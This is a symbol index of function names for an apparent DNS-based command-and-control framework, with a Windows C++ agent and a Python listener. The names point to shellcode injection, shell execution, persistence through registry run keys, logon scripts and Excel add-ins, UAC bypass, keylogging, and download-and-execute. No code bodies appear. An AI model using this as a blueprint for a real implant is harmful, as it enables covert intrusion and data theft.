SYMBOL INDEX (75 symbols across 7 files) FILE: Agent/Agent/Commands.cpp function LPCSTR (line 6) | LPCSTR ProcessList(){ function LPCSTR (line 12) | LPCSTR ExecuteShell(LPCSTR command){ function LPCSTR (line 18) | LPCSTR SystemInfo(){ function LPSTR (line 42) | LPSTR AgentName(){ function LPCSTR (line 56) | LPCSTR ExecuteShellcode(){ function DWORD (line 79) | DWORD WINAPI InjectShellcode(LPVOID lpData){ function BOOL (line 95) | BOOL DropFileFromRes(LPCSTR fileName,DWORD resourceId){ FILE: Agent/Agent/DNSCommunication.cpp function BOOL (line 3) | BOOL SendData(LPSTR agentName, LPSTR data){ function VOID (line 51) | VOID DataToHEX(const std::string str, std::string& hexstr, bool capital ... function SendDNSPacket (line 63) | std::string SendDNSPacket(LPSTR agentName,LPSTR packetType,LPCSTR respon... function GetShellcode (line 92) | std::string GetShellcode(LPSTR agentName){ function ExecuteCommand (line 144) | std::string ExecuteCommand(LPCSTR cmd) { FILE: Agent/Agent/Handler.cpp function LPCSTR (line 3) | LPCSTR HandleCommand(LPCSTR command){ FILE: Agent/Agent/Persistence.cpp function LPCSTR (line 3) | LPCSTR Persist(DWORD method){ function BOOL (line 23) | BOOL PersistRunKey(){ function BOOL (line 46) | BOOL PersistLogonScript(){ function BOOL (line 69) | BOOL PersistExcelAddin(){ FILE: Agent/Agent/main.cpp function main (line 6) | int main(){ FILE: modules/AgentControllerCLI.py function changeInteractedAgent (line 6) | def changeInteractedAgent(agent): class Input (line 9) | class Input(cmd.Cmd): method do_agents (line 14) | def do_agents(self,s): method do_interact (line 16) | def do_interact(self,agent): method complete_interact (line 27) | def complete_interact(self, text, line, begidx, endidx): method do_quit (line 36) | def do_quit(self,s): method emptyline (line 38) | def emptyline(self): method list_agents (line 40) | def list_agents(self): function getInteractedAgent (line 45) | def getInteractedAgent(): class AgentCMD (line 51) | class AgentCMD(cmd.Cmd): method do_sysinfo (line 54) | def do_sysinfo(self,s): method do_bypassuac (line 56) | def do_bypassuac(self,s): method do_keylog_start (line 58) | def do_keylog_start(self,s): method do_keylog_stop (line 60) | def do_keylog_stop(self,s): method do_keylog_dump (line 62) | def do_keylog_dump(self,s): method do_exec (line 64) | def do_exec(self,s): method do_downloadexecute (line 66) | def do_downloadexecute(self,s): method do_persist (line 68) | def do_persist(self,s): method do_back (line 70) | def do_back(self,s): method emptyline (line 73) | def emptyline(self): FILE: modules/DNSListener.py function sendTask (line 20) | def sendTask(agent,command): function addShellcode (line 23) | def addShellcode(agent,shellcodefile): function getInteractedAgent (line 40) | def getInteractedAgent(): function changeInteractedAgent (line 44) | def changeInteractedAgent(agent): class DNSListener (line 49) | class DNSListener(object): method __init__ (line 51) | def __init__(self, host="127.0.0.1",port="53"): method add_agent_times (line 64) | def add_agent_times(self,agent): method get_agent_shellcode (line 72) | def get_agent_shellcode(self,agent): method get_agent_command (line 91) | def get_agent_command(self,agent): method agent_probe (line 108) | def agent_probe(self,agent): method agent_receive_data (line 126) | def agent_receive_data(self,agent,response_data): method parse_request_packet (line 152) | def parse_request_packet(self, agent, packetType, response_data=""): method parse_dns_request (line 169) | def parse_dns_request(self,data): method get_dns_response (line 186) | def get_dns_response(self,request,data): method get_dns_ptr_response (line 192) | def get_dns_ptr_response(self,request): method get_dns_data (line 197) | def get_dns_data(self,data): method get_active_agents (line 222) | def get_active_agents(self): method clear_agents (line 225) | def clear_agents(self): method start_server (line 236) | def start_server(self): class Input (line 271) | class Input(cmd.Cmd): method do_agents (line 275) | def do_agents(self,s): method do_interact (line 277) | def do_interact(self,agent): method complete_interact (line 288) | def complete_interact(self, text, line, begidx, endidx): method do_quit (line 297) | def do_quit(self,s): method emptyline (line 299) | def emptyline(self): method list_agents (line 301) | def list_agents(self): class AgentCMD (line 309) | class AgentCMD(cmd.Cmd): method do_process_list (line 312) | def do_process_list(self,s): method do_execute_shellcode (line 314) | def do_execute_shellcode(self,shellcodefile): method do_sysinfo (line 317) | def do_sysinfo(self,s): method do_persist (line 319) | def do_persist(self,s): method do_shell (line 328) | def do_shell(self,s): method do_back (line 333) | def do_back(self,s): method emptyline (line 336) | def emptyline(self): class AgentShell (line 339) | class AgentShell(cmd.Cmd): method emptyline (line 341) | def emptyline(self): method onecmd (line 344) | def onecmd(self,s):